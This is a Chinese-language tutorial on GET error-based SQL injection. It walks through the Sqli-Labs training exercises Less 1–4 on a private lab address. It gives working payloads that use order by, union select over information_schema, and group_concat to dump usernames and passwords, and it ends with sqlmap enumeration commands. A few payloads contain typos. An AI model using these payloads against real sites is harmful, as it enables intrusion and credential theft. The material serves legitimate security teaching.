GET基于报错的SQL注入
SQL注入的分类
根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。
数字型:
sql select * from table where id = 用户输入id
字符型:
sql select * from table where id = '用户输入id'
GET基于报错的SQL注入发现
通过在URL中修改对应的ID值、为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入
Less1:
%27等价于’。
根据 ‘14’’ LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
Less2:
根据 ’ LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = id limit 0,1;
#数字类型
Less3:
根据 ‘14’’) LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = ('id') limit 0,1;
#括号
Less4:
使用\ 具有转义作用。
根据 “”) LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = (''id'') limit 0,1;
#双引号,有隐形的类型转换
GET基于报错的SQL注入利用
1、利用order by 判断字段数:
select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
select login_name,password from admin where id = 'id' order by n--+' limit 0,1;
#order by
查询可利用端口:
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,2,3 --+
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,user(),database() --+
2、利用union select 联合查询,获取表名:
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、利用union select 联合查询,获取字段名:
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= 'users' --+
4、利用union select 联合查询,获取字段值
0' union select 1,group_concat(uersname,0x3a,password),3 from users --+
利用Sqlmap测试
sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–dbs --batch
sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–D security --tables